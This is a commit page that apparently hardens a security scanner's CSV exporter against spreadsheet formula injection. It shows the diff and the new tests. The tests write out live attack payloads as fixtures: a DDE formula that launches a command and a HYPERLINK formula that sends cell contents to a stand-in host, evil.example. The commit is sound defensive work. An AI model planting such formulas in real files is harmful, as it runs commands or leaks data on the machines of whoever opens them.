Skip to content

Commit 0e927c2

Browse files
committed
fix(reporting): neutralize spreadsheet formulas in CSV export
encoding/csv stops a value from breaking out of its cell, but it does not stop a spreadsheet from evaluating that cell. Widening the schema pulled response-derived data into the file: extracted-results comes straight from OutputExtracts, so a target chooses exactly what lands in that column. A value such as =cmd|'/C calc'!A0 was written verbatim and executed when the export was opened (CWE-1236). formatRow now routes every string column through neutralizeFormula, which prefixes a single apostrophe to values starting with = + - @ TAB or CR. Values that parse as a number are left alone so cvss-score and port stay numeric and sortable. Multi-value columns (extracted-results, reference) are neutralized per element rather than only at the head of the cell, because consumers split those cells back apart. The transformation is reversible: the original value is the cell with at most one leading apostrophe removed. Tests: TestCSVExporterNeutralizesSpreadsheetFormulas asserts DDE, HYPERLINK, @ and +/- payloads are neutralized across template-id, template-name, description, host, matcher-name, curl-command, extracted-results and reference while safe values and cvss-score are untouched; TestNeutralizeFormula table-tests the helper, including the numeric, leading-space and non-ASCII cases. Signed-off-by: Devam Shah <devamshah91@gmail.com>
1 parent 8c0f656 commit 0e927c2

2 files changed

Lines changed: 163 additions & 17 deletions

File tree

pkg/reporting/exporters/csv/csv.go

Lines changed: 58 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -105,13 +105,54 @@ func (exporter *Exporter) Export(event *output.ResultEvent) error {
105105
return nil
106106
}
107107

108+
// formulaTriggers are the leading characters that Excel, LibreOffice Calc and
109+
// Google Sheets treat as the start of a formula. A cell beginning with one of
110+
// them is evaluated when the file is opened, so a response-derived value such
111+
// as `=cmd|'/C calc'!A0` captured by an extractor would execute on the machine
112+
// of whoever opens the export (CWE-1236).
113+
const formulaTriggers = "=+-@\t\r"
114+
115+
// neutralizeFormula prefixes a single apostrophe to any value a spreadsheet
116+
// would evaluate as a formula, which forces the cell to be read as text.
117+
//
118+
// The transformation is reversible: the original value is the cell with at most
119+
// one leading apostrophe removed. Values that parse as a plain number are left
120+
// untouched so numeric columns (cvss-score, port) stay sortable and a negative
121+
// number is not needlessly quoted.
122+
func neutralizeFormula(value string) string {
123+
if value == "" || !strings.ContainsRune(formulaTriggers, rune(value[0])) {
124+
return value
125+
}
126+
if _, err := strconv.ParseFloat(value, 64); err == nil {
127+
return value
128+
}
129+
return "'" + value
130+
}
131+
132+
// neutralizeAndJoin newline-joins a multi-value column, neutralizing each
133+
// element rather than only the resulting cell. Consumers routinely split these
134+
// cells back into their individual values, so every element has to be safe on
135+
// its own and not just the first one.
136+
func neutralizeAndJoin(values []string) string {
137+
if len(values) == 0 {
138+
return ""
139+
}
140+
neutralized := make([]string, 0, len(values))
141+
for _, value := range values {
142+
neutralized = append(neutralized, neutralizeFormula(value))
143+
}
144+
return strings.Join(neutralized, "\n")
145+
}
146+
108147
// formatRow flattens a ResultEvent into the ordered set of CSV columns defined
109148
// by header. Empty values are emitted for fields that are not present on the
110149
// event (for example, templates without CVE/CVSS classification metadata).
111150
//
112-
// Every value is handed to encoding/csv unmodified, so values carrying commas,
113-
// double quotes or newlines are quoted per RFC 4180 instead of breaking the
114-
// column layout.
151+
// Two separate escaping concerns are handled here. Structural injection is
152+
// handled by encoding/csv, which RFC 4180-quotes any value carrying a comma,
153+
// double quote or newline so it cannot forge extra columns or rows. Spreadsheet
154+
// formula evaluation is handled by neutralizeFormula, because the target of
155+
// this exporter is explicitly a file someone opens in a spreadsheet.
115156
func formatRow(event *output.ResultEvent) []string {
116157
var cve, cwe, cvssMetrics, cvssScore string
117158
if event.Info.Classification != nil {
@@ -128,32 +169,32 @@ func formatRow(event *output.ResultEvent) []string {
128169
// newline separated inside the (quoted) cell rather than comma separated.
129170
var reference string
130171
if event.Info.Reference != nil {
131-
reference = strings.Join(event.Info.Reference.ToSlice(), "\n")
172+
reference = neutralizeAndJoin(event.Info.Reference.ToSlice())
132173
}
133174

134175
return []string{
135-
event.TemplateID,
136-
event.Info.Name,
137-
event.Type,
176+
neutralizeFormula(event.TemplateID),
177+
neutralizeFormula(event.Info.Name),
178+
neutralizeFormula(event.Type),
138179
event.Info.SeverityHolder.Severity.String(),
139-
event.Host,
140-
event.IP,
141-
event.Port,
142-
event.Matched,
143-
event.MatcherName,
144-
event.ExtractorName,
180+
neutralizeFormula(event.Host),
181+
neutralizeFormula(event.IP),
182+
neutralizeFormula(event.Port),
183+
neutralizeFormula(event.Matched),
184+
neutralizeFormula(event.MatcherName),
185+
neutralizeFormula(event.ExtractorName),
145186
// Extracted results are arbitrary response-derived data and can contain
146187
// commas, so they are newline separated inside the (quoted) cell rather
147188
// than comma separated. CVE/CWE identifiers cannot contain a comma, so
148189
// those keep the ", " form used everywhere else in nuclei.
149-
strings.Join(event.ExtractedResults, "\n"),
190+
neutralizeAndJoin(event.ExtractedResults),
150191
cve,
151192
cwe,
152-
cvssMetrics,
193+
neutralizeFormula(cvssMetrics),
153194
cvssScore,
154-
event.Info.Description,
195+
neutralizeFormula(event.Info.Description),
155196
reference,
156-
event.CURLCommand,
197+
neutralizeFormula(event.CURLCommand),
157198
event.Timestamp.UTC().Format(time.RFC3339),
158199
}
159200
}

pkg/reporting/exporters/csv/csv_test.go

Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -271,3 +271,108 @@ func TestCSVExporterFlushesRowsBeforeClose(t *testing.T) {
271271

272272
require.NoError(t, exporter.Close())
273273
}
274+
275+
// TestCSVExporterNeutralizesSpreadsheetFormulas covers the second half of the
276+
// escaping problem. encoding/csv stops a value from breaking out of its cell,
277+
// but it does not stop a spreadsheet from evaluating that cell as a formula.
278+
// ExtractedResults in particular is raw response-derived data, so a target can
279+
// choose exactly what lands in it.
280+
func TestCSVExporterNeutralizesSpreadsheetFormulas(t *testing.T) {
281+
const (
282+
ddePayload = `=cmd|'/C calc'!A0`
283+
hyperlinkPayload = `=HYPERLINK("http://evil.example/log?d="&A1,"click")`
284+
atPayload = `@SUM(1+1)`
285+
plusPayload = `+1+1`
286+
tabPayload = "\t=1+1"
287+
crPayload = "\r=1+1"
288+
safeValue = "http://127.0.0.1:8080/index.html"
289+
negativeNumber = "-1"
290+
)
291+
292+
event := &output.ResultEvent{
293+
TemplateID: ddePayload,
294+
Type: "http",
295+
Info: model.Info{
296+
Name: atPayload,
297+
Description: plusPayload,
298+
Reference: stringslice.NewRawStringSlice([]string{safeValue, hyperlinkPayload}),
299+
SeverityHolder: severity.Holder{Severity: severity.High},
300+
Classification: &model.Classification{
301+
CVSSScore: 9.8,
302+
},
303+
},
304+
Host: tabPayload,
305+
Matched: safeValue,
306+
MatcherName: crPayload,
307+
ExtractedResults: []string{safeValue, ddePayload, negativeNumber, hyperlinkPayload},
308+
CURLCommand: ddePayload,
309+
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
310+
}
311+
312+
records := export(t, event)
313+
require.Len(t, records, 2)
314+
row := records[1]
315+
require.Len(t, row, len(header))
316+
317+
// every formula-triggering cell is prefixed with a single apostrophe, and
318+
// the original value is recoverable by removing exactly that apostrophe
319+
for _, tc := range []struct {
320+
column string
321+
want string
322+
}{
323+
{"template-id", ddePayload},
324+
{"template-name", atPayload},
325+
{"description", plusPayload},
326+
{"host", tabPayload},
327+
{"matcher-name", crPayload},
328+
{"curl-command", ddePayload},
329+
} {
330+
got := row[column(t, tc.column)]
331+
require.Equal(t, "'"+tc.want, got, "column %s must be neutralized", tc.column)
332+
require.Equal(t, tc.want, strings.TrimPrefix(got, "'"), "column %s must stay recoverable", tc.column)
333+
}
334+
335+
// values that are not formulas are left byte-for-byte alone, so the export
336+
// does not become littered with apostrophes
337+
require.Equal(t, safeValue, row[column(t, "matched-at")])
338+
require.Equal(t, "high", row[column(t, "severity")])
339+
// a numeric cell stays numeric and sortable rather than becoming text
340+
require.Equal(t, "9.8", row[column(t, "cvss-score")])
341+
342+
// multi-value cells are neutralized per element, not just at the start of
343+
// the cell, because consumers split these cells back apart
344+
require.Equal(t,
345+
[]string{safeValue, "'" + ddePayload, negativeNumber, "'" + hyperlinkPayload},
346+
strings.Split(row[column(t, "extracted-results")], "\n"))
347+
require.Equal(t,
348+
[]string{safeValue, "'" + hyperlinkPayload},
349+
strings.Split(row[column(t, "reference")], "\n"))
350+
}
351+
352+
func TestNeutralizeFormula(t *testing.T) {
353+
for _, tc := range []struct {
354+
name string
355+
input string
356+
want string
357+
}{
358+
{"empty", "", ""},
359+
{"plain text", "nuclei", "nuclei"},
360+
{"url", "http://example.com/a=b", "http://example.com/a=b"},
361+
{"equals", "=1+1", "'=1+1"},
362+
{"plus", "+1+1", "'+1+1"},
363+
{"at", "@SUM(1)", "'@SUM(1)"},
364+
{"tab", "\t=1+1", "'\t=1+1"},
365+
{"carriage return", "\r=1+1", "'\r=1+1"},
366+
{"negative integer stays numeric", "-1", "-1"},
367+
{"negative float stays numeric", "-1.5", "-1.5"},
368+
{"positive signed number stays numeric", "+9.8", "+9.8"},
369+
{"minus leading text is neutralized", "-cmd|'/C calc'!A0", "'-cmd|'/C calc'!A0"},
370+
{"leading space is not a trigger", " =1+1", " =1+1"},
371+
{"already neutralized is left alone", "'=1+1", "'=1+1"},
372+
{"non-ascii leading rune", "é=1+1", "é=1+1"},
373+
} {
374+
t.Run(tc.name, func(t *testing.T) {
375+
require.Equal(t, tc.want, neutralizeFormula(tc.input))
376+
})
377+
}
378+
}

0 commit comments

Comments
 (0)